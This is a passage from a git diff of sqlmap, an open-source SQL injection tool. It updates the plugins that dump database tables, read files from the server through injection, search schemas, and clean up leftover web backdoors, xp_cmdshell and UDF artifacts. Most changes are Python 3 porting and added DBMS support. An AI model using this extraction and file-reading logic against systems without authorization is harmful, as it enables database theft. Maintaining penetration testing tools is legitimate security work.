kb.dumpKeyboardInterrupt: + if isNoneValue(entries) and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, blind=False) except KeyboardInterrupt: @@ -219,14 +234,14 @@ def dumpTable(self, foundData=None): kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) if retVal: entries, _ = retVal - entries = zip(*[entries[colName] for colName in colList]) + entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) @@ -241,10 +256,10 @@ def dumpTable(self, foundData=None): kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) if not isNoneValue(entries): - if isinstance(entries, basestring): + if isinstance(entries, six.string_types): entries = [entries] elif not isListLike(entries): entries = [] @@ -259,12 +274,12 @@ def dumpTable(self, foundData=None): if entry is None or len(entry) == 0: continue - if isinstance(entry, basestring): + if isinstance(entry, six.string_types): colEntry = entry else: colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u'' - maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))) + maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))) if maxLen > kb.data.dumpedTable[column]["length"]: kb.data.dumpedTable[column]["length"] = maxLen @@ -279,14 +294,12 @@ def dumpTable(self, foundData=None): infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.MAXDB, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): - query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) - elif Backend.isDbms(DBMS.MAXDB): - query = rootQuery.blind.count % tbl + query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) if conf.db else tbl elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, tbl) else: @@ -303,7 +316,7 @@ def dumpTable(self, foundData=None): warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db) warnMsg += "appears to be empty" - logger.warn(warnMsg) + logger.warning(warnMsg) for column in colList: lengths[column] = len(column) @@ -315,19 +328,17 @@ def dumpTable(self, foundData=None): warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue - elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX): - if Backend.isDbms(DBMS.ACCESS): + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA): + if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA): table = tbl - elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): - table = "%s.%s" % (conf.db, tbl) - elif Backend.isDbms(DBMS.MAXDB): - table = "%s.%s" % (conf.db, tbl) + elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL, DBMS.MAXDB): + table = "%s.%s" % (conf.db, tbl) if conf.db else tbl elif Backend.isDbms(DBMS.INFORMIX): - table = "%s:%s" % (conf.db, tbl) + table = "%s:%s" % (conf.db, tbl) if conf.db else tbl if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " @@ -357,7 +368,7 @@ def dumpTable(self, foundData=None): kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) if not entries and not kb.dumpKeyboardInterrupt: try: @@ -367,14 +378,14 @@ def dumpTable(self, foundData=None): kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) if retVal: entries, lengths = retVal else: emptyColumns = [] - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: @@ -399,16 +410,22 @@ def dumpTable(self, foundData=None): if column not in entries: entries[column] = BigArray() - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) - elif Backend.isDbms(DBMS.SQLITE): + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) - elif Backend.isDbms(DBMS.INFORMIX): + elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) + elif Backend.isDbms(DBMS.FRONTBASE): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) + else: + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) query = agent.whereQuery(query) @@ -422,7 +439,7 @@ def dumpTable(self, foundData=None): kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) @@ -437,17 +454,20 @@ def dumpTable(self, foundData=None): warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") - logger.warn(warnMsg) + logger.warning(warnMsg) else: kb.data.dumpedTable["__infos__"] = {"count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db)} - try: - attackDumpedTable() - except (IOError, OSError) as ex: - errMsg = "an error occurred while attacking " - errMsg += "table dump ('%s')" % getSafeExString(ex) - logger.critical(errMsg) + + if not conf.disableHashing: + try: + attackDumpedTable() + except (IOError, OSError) as ex: + errMsg = "an error occurred while attacking " + errMsg += "table dump ('%s')" % getSafeExString(ex) + logger.critical(errMsg) + conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException as ex: @@ -485,7 +505,7 @@ def dumpAll(self): conf.db = db for table in tables: - if conf.exclude and table in conf.exclude.split(','): + if conf.exclude and re.search(conf.exclude, table, re.I) is not None: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) continue @@ -501,7 +521,7 @@ def dumpAll(self): logger.info(infoMsg) def dumpFoundColumn(self, dbs, foundCols, colConsider): - message = "do you want to dump entries? [Y/n] " + message = "do you want to dump found column(s) entries? [Y/n] " if not readInput(message, default='Y', boolean=True): return @@ -556,7 +576,7 @@ def dumpFoundColumn(self, dbs, foundCols, colConsider): colList = [_ for _ in columns if _] if conf.exclude: - colList = [_ for _ in colList if _ not in conf.exclude.split(',')] + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] conf.col = ','.join(colList) kb.data.cachedColumns = {} @@ -568,7 +588,7 @@ def dumpFoundColumn(self, dbs, foundCols, colConsider): conf.dumper.dbTableValues(data) def dumpFoundTables(self, tables): - message = "do you want to dump tables' entries? [Y/n] " + message = "do you want to dump found table(s) entries? [Y/n] " if not readInput(message, default='Y', boolean=True): return diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index c8b40728e41..a410816f6e2 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -31,7 +31,6 @@ def __init__(self): kb.data.banner = None kb.data.hostname = "" kb.data.processChar = None - kb.data.characterSet = None Custom.__init__(self) Databases.__init__(self) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 257b2deec43..df7fb110389 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,43 +1,50 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import codecs import os import sys from lib.core.agent import agent -from lib.core.common import dataToOutFile from lib.core.common import Backend from lib.core.common import checkFile +from lib.core.common import dataToOutFile from lib.core.common import decloakToTemp -from lib.core.common import decodeHexValue -from lib.core.common import getUnicode -from lib.core.common import isNumPosStrValue +from lib.core.common import decodeDbmsHexValue from lib.core.common import isListLike +from lib.core.common import isNoneValue +from lib.core.common import isNullValue +from lib.core.common import isNumPosStrValue from lib.core.common import isStackingAvailable from lib.core.common import isTechniqueAvailable from lib.core.common import readInput +from lib.core.compat import xrange +from lib.core.convert import encodeBase64 +from lib.core.convert import encodeHex +from lib.core.convert import getText +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUndefinedMethod from lib.core.settings import UNICODE_ENCODING from lib.request import inject -class Filesystem: +class Filesystem(object): """ This class defines generic OS file system functionalities for plugins. """ def __init__(self): - self.fileTblName = "sqlmapfile" + self.fileTblName = "%sfile" % conf.tablePrefix self.tblField = "data" def _checkFileLength(self, localFile, remoteFile, fileRead=False): @@ -57,7 +64,7 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False): localFileSize = os.path.getsize(localFile) except OSError: warnMsg = "file '%s' is missing" % localFile - logger.warn(warnMsg) + logger.warning(warnMsg) localFileSize = 0 if fileRead and Backend.isDbms(DBMS.PGSQL): @@ -69,7 +76,7 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False): sameFile = None if isNumPosStrValue(remoteFileSize): - remoteFileSize = long(remoteFileSize) + remoteFileSize = int(remoteFileSize) localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) sameFile = False @@ -90,7 +97,7 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False): warnMsg = "it looks like the file has not been written (usually " warnMsg += "occurs if the DBMS process user has no write " warnMsg += "privileges in the destination path)" - logger.warn(warnMsg) + logger.warning(warnMsg) return sameFile @@ -130,8 +137,14 @@ def fileEncode(self, fileName, encoding, single, chunkSize=256): def fileContentEncode(self, content, encoding, single, chunkSize=256): retVal = [] - if encoding: - content = content.encode(encoding).replace("\n", "") + if encoding == "hex": + content = encodeHex(content) + elif encoding == "base64": + content = encodeBase64(content) + else: + content = codecs.encode(content, encoding) + + content = getText(content).replace("\n", "") if not single: if len(content) > chunkSize: @@ -170,12 +183,13 @@ def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False): return True def askCheckReadFile(self, localFile, remoteFile): - message = "do you want confirmation that the remote file '%s' " % remoteFile - message += "has been successfully downloaded from the back-end " - message += "DBMS file system? [Y/n] " + if not kb.bruteMode: + message = "do you want confirmation that the remote file '%s' " % remoteFile + message += "has been successfully downloaded from the back-end " + message += "DBMS file system? [Y/n] " - if readInput(message, default='Y', boolean=True): - return self._checkFileLength(localFile, remoteFile, True) + if readInput(message, default='Y', boolean=True): + return self._checkFileLength(localFile, remoteFile, True) return None @@ -199,24 +213,24 @@ def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) - def readFile(self, remoteFiles): + def readFile(self, remoteFile): localFilePaths = [] self.checkDbmsOs() - for remoteFile in remoteFiles.split(','): + for remoteFile in remoteFile.split(','): fileContent = None kb.fileReadMode = True if conf.direct or isStackingAvailable(): if isStackingAvailable(): - debugMsg = "going to read the file with stacked query SQL " + debugMsg = "going to try to read the file with stacked query SQL " debugMsg += "injection technique" logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) elif Backend.isDbms(DBMS.MYSQL): - debugMsg = "going to read the file with a non-stacked query " + debugMsg = "going to try to read the file with non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg) @@ -231,8 +245,9 @@ def readFile(self, remoteFiles): kb.fileReadMode = False - if fileContent in (None, "") and not Backend.isDbms(DBMS.PGSQL): + if (isNoneValue(fileContent) or isNullValue(fileContent)) and not Backend.isDbms(DBMS.PGSQL): self.cleanup(onlyFileTbl=True) + fileContent = None elif isListLike(fileContent): newFileContent = "" @@ -249,9 +264,9 @@ def readFile(self, remoteFiles): fileContent = newFileContent if fileContent is not None: - fileContent = decodeHexValue(fileContent, True) + fileContent = decodeDbmsHexValue(fileContent, True) - if fileContent: + if fileContent.strip(): localFilePath = dataToOutFile(remoteFile, fileContent) if not Backend.isDbms(DBMS.PGSQL): @@ -265,7 +280,7 @@ def readFile(self, remoteFiles): localFilePath += " (size differs from remote file)" localFilePaths.append(localFilePath) - else: + elif not kb.bruteMode: errMsg = "no data retrieved" logger.error(errMsg) diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index b593e629c1c..38f4775a1b9 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -11,7 +11,7 @@ from lib.core.enums import OS from lib.core.exception import SqlmapUndefinedMethod -class Fingerprint: +class Fingerprint(object): """ This class defines generic fingerprint functionalities for plugins. """ @@ -40,7 +40,7 @@ def forceDbmsEnum(self): def userChooseDbmsOs(self): warnMsg = "for some reason sqlmap was unable to fingerprint " warnMsg += "the back-end DBMS operating system" - logger.warn(warnMsg) + logger.warning(warnMsg) msg = "do you want to provide the OS? [(W)indows/(l)inux]" @@ -55,4 +55,4 @@ def userChooseDbmsOs(self): break else: warnMsg = "invalid value" - logger.warn(warnMsg) + logger.warning(warnMsg) diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 51c0fff0e86..bbb7adc0935 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -25,10 +25,9 @@ from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.exception import SqlmapNoneDataException -from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject -class Miscellaneous: +class Miscellaneous(object): """ This class defines miscellaneous functionalities for plugins. """ @@ -83,25 +82,16 @@ def getVersionFromBanner(self): infoMsg = "detecting back-end DBMS version from its banner" logger.info(infoMsg) - if Backend.isDbms(DBMS.MYSQL): - first, last = 1, 6 - - elif Backend.isDbms(DBMS.PGSQL): - first, last = 12, 6 - - elif Backend.isDbms(DBMS.MSSQL): - first, last = 29, 9 - - else: - raise SqlmapUnsupportedFeatureException("unsupported DBMS") - - query = queries[Backend.getIdentifiedDbms()].substring.query % (queries[Backend.getIdentifiedDbms()].banner.query, first, last) + query = queries[Backend.getIdentifiedDbms()].banner.query if conf.direct: query = "SELECT %s" % query - kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) - kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(',', "").replace('-', "").replace(' ', "") + kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) or "" + + match = re.search(r"\d[\d.-]*", kb.bannerFp["dbmsVersion"]) + if match: + kb.bannerFp["dbmsVersion"] = match.group(0) def delRemoteFile(self, filename): if not filename: @@ -137,7 +127,10 @@ def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): self.delRemoteFile(self.webStagerFilePath) self.delRemoteFile(self.webBackdoorFilePath) - if not isStackingAvailable() and not conf.direct: + if (not isStackingAvailable() or kb.udfFail) and not conf.direct: + return + + if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest: return if Backend.isOs(OS.WINDOWS): @@ -162,10 +155,10 @@ def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): - udfDict = {"master..new_xp_cmdshell": None} + udfDict = {"master..new_xp_cmdshell": {}} if udfDict is None: - udfDict = self.sysUdfs + udfDict = getattr(self, "sysUdfs", {}) for udf, inpRet in udfDict.items(): message = "do you want to remove UDF '%s'? [Y/n] " % udf @@ -190,7 +183,7 @@ def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): warnMsg += "saved on the file system can only be deleted " warnMsg += "manually" - logger.warn(warnMsg) + logger.warning(warnMsg) def likeOrExact(self, what): message = "do you want sqlmap to consider provided %s(s):\n" % what diff --git a/plugins/generic/search.py b/plugins/generic/search.py index b21957bb028..5ec72f18ff2 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,10 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import re + from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend @@ -32,11 +34,13 @@ from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX +from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject from lib.utils.brute import columnExists from lib.utils.brute import tableExists +from thirdparty import six -class Search: +class Search(object): """ This class defines search functionalities for plugins. """ @@ -60,7 +64,7 @@ def searchDb(self): values = [] db = safeSQLIdentificatorNaming(db) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: db = db.upper() infoMsg = "searching database" @@ -115,7 +119,7 @@ def searchDb(self): if dbConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -145,7 +149,7 @@ def searchTable(self): bruteForce = True if bruteForce: - message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") + message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': @@ -167,7 +171,7 @@ def searchTable(self): values = [] tbl = safeSQLIdentificatorNaming(tbl, True) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: tbl = tbl.upper() conf.db = conf.db.upper() if conf.db else conf.db @@ -190,6 +194,9 @@ def searchTable(self): else: whereDbsQuery = "" + if dbCond and conf.exclude: + whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) + logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) @@ -204,7 +211,7 @@ def searchTable(self): if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): newValues = [] - if isinstance(values, basestring): + if isinstance(values, six.string_types): values = [values] for value in values: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" @@ -242,7 +249,7 @@ def searchTable(self): if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -295,7 +302,7 @@ def searchTable(self): warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -332,7 +339,7 @@ def searchTable(self): if not foundTbls: warnMsg = "no databases contain any of the provided tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return conf.dumper.dbTables(foundTbls) @@ -341,13 +348,15 @@ def searchTable(self): def searchColumn(self): bruteForce = False + self.forceDbmsEnum() + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: - message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") + message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': @@ -375,7 +384,7 @@ def searchColumn(self): colList = conf.col.split(',') if conf.exclude: - colList = [_ for _ in colList if _ not in conf.exclude.split(',')] + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] origTbl = conf.tbl origDb = conf.db @@ -390,7 +399,7 @@ def searchColumn(self): conf.db = origDb conf.tbl = origTbl - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: column = column.upper() conf.db = conf.db.upper() if conf.db else conf.db conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl @@ -402,24 +411,31 @@ def searchColumn(self): foundCols[column] = {} - if conf.tbl: - _ = conf.tbl.split(',') - whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" - infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _)) + if tblCond: + if conf.tbl: + tbls = conf.tbl.split(',') + if conf.exclude: + tbls = [_ for _ in tbls if re.search(conf.exclude, _, re.I) is None] + whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in tbls) + ")" + infoMsgTbl = " for table%s '%s'" % ("s" if len(tbls) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in tbls)) if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() - if conf.db: - _ = conf.db.split(',') - whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" - infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) - elif conf.excludeSysDbs: - whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) - msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) - logger.info(msg) - else: - infoMsgDb = " across all databases" + if dbCond: + if conf.db: + _ = conf.db.split(',') + whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" + infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) + elif conf.excludeSysDbs: + whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) + msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) + logger.info(msg) + else: + infoMsgDb = " across all databases" + + if conf.exclude: + whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) @@ -491,7 +507,7 @@ def searchColumn(self): if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) - logger.warn("%s%s" % (warnMsg, infoMsgTbl)) + logger.warning("%s%s" % (warnMsg, infoMsgTbl)) continue @@ -534,8 +550,12 @@ def searchColumn(self): logger.info(infoMsg) query = rootQuery.blind.count2 - query = query % unsafeSQLIdentificatorNaming(db) - query += " AND %s" % colQuery + if not re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): + query = query % unsafeSQLIdentificatorNaming(db) + query += " AND %s" % colQuery + else: + query = query % colQuery + query += whereTblsQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) @@ -546,7 +566,7 @@ def searchColumn(self): warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -555,8 +575,12 @@ def searchColumn(self): for index in indexRange: query = rootQuery.blind.query2 - if query.endswith("'%s')"): + if re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): + query = query % (colQuery + whereTblsQuery) + elif query.endswith("'%s')"): query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery) + elif " ORDER BY " in query: + query = query.replace(" ORDER BY ", " AND %s ORDER BY " % (colQuery + whereTblsQuery)) else: query += " AND %s" % (colQuery + whereTblsQuery) @@ -596,10 +620,10 @@ def searchColumn(self): else: warnMsg = "no databases have tables containing any of the " warnMsg += "provided columns" - logger.warn(warnMsg) + logger.warning(warnMsg) def search(self): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: for item in ('db', 'tbl', 'col'): if getattr(conf, item, None): setattr(conf, item, getattr(conf, item).upper()) diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 9ef65a54b17..5da7b985298 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,15 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re +from lib.core.common import Backend +from lib.core.convert import getBytes +from lib.core.data import conf +from lib.core.enums import DBMS from lib.core.exception import SqlmapUndefinedMethod -class Syntax: +class Syntax(object): """ This class defines generic syntax functionalities for plugins. """ @@ -23,9 +27,17 @@ def _escape(expression, quote=True, escaper=None): if quote: 